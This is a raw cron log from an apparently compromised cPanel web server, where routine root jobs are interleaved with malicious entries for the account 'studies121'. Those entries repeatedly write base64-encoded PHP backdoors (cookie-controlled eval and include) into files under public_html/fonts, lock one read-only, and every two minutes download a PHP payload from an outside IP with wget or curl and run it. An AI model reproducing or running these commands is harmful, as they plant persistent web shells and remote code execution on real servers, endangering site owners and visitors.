Sep 11 15:00:01 ip-184-168-122-23 CROND[22645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:00:01 ip-184-168-122-23 CROND[22646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:00:01 ip-184-168-122-23 CROND[22649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:00:01 ip-184-168-122-23 CROND[22651]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:00:01 ip-184-168-122-23 CROND[22650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:00:01 ip-184-168-122-23 CROND[22654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:01:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:01:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:01:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:01:01 ip-184-168-122-23 CROND[22780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:01:01 ip-184-168-122-23 CROND[22779]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 15:01:01 ip-184-168-122-23 CROND[22781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22779]: starting 0anacron
Sep 11 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22796]: finished 0anacron
Sep 11 15:02:01 ip-184-168-122-23 CROND[22886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:02:01 ip-184-168-122-23 CROND[22887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:02:01 ip-184-168-122-23 CROND[22884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:02:01 ip-184-168-122-23 CROND[22888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:02:01 ip-184-168-122-23 CROND[22885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:03:01 ip-184-168-122-23 CROND[22970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:03:01 ip-184-168-122-23 CROND[22969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:03:01 ip-184-168-122-23 CROND[22971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:03:01 ip-184-168-122-23 CROND[22972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:04:01 ip-184-168-122-23 CROND[23145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:04:01 ip-184-168-122-23 CROND[23147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:04:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:04:01 ip-184-168-122-23 CROND[23149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:04:01 ip-184-168-122-23 CROND[23148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:05:01 ip-184-168-122-23 CROND[23256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:05:01 ip-184-168-122-23 CROND[23259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:06:01 ip-184-168-122-23 CROND[23355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:06:01 ip-184-168-122-23 CROND[23353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:06:01 ip-184-168-122-23 CROND[23357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:06:01 ip-184-168-122-23 CROND[23354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:06:01 ip-184-168-122-23 CROND[23356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:07:01 ip-184-168-122-23 CROND[23455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:07:01 ip-184-168-122-23 CROND[23457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:07:01 ip-184-168-122-23 CROND[23458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:07:01 ip-184-168-122-23 CROND[23459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:08:01 ip-184-168-122-23 CROND[23536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:08:01 ip-184-168-122-23 CROND[23540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:08:01 ip-184-168-122-23 CROND[23538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:08:01 ip-184-168-122-23 CROND[23541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:08:01 ip-184-168-122-23 CROND[23542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:09:01 ip-184-168-122-23 CROND[23670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 15:09:01 ip-184-168-122-23 CROND[23671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:09:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:09:01 ip-184-168-122-23 CROND[23669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:09:01 ip-184-168-122-23 CROND[23673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:10:01 ip-184-168-122-23 CROND[23815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 15:10:01 ip-184-168-122-23 CROND[23817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:10:01 ip-184-168-122-23 CROND[23819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:10:01 ip-184-168-122-23 CROND[23820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:10:01 ip-184-168-122-23 CROND[23823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:10:01 ip-184-168-122-23 CROND[23821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:10:01 ip-184-168-122-23 CROND[23822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:10:01 ip-184-168-122-23 CROND[23825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:11:01 ip-184-168-122-23 CROND[23927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 15:11:01 ip-184-168-122-23 CROND[23929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:11:01 ip-184-168-122-23 CROND[23930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:11:01 ip-184-168-122-23 CROND[23931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 15:12:01 ip-184-168-122-23 CROND[24019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
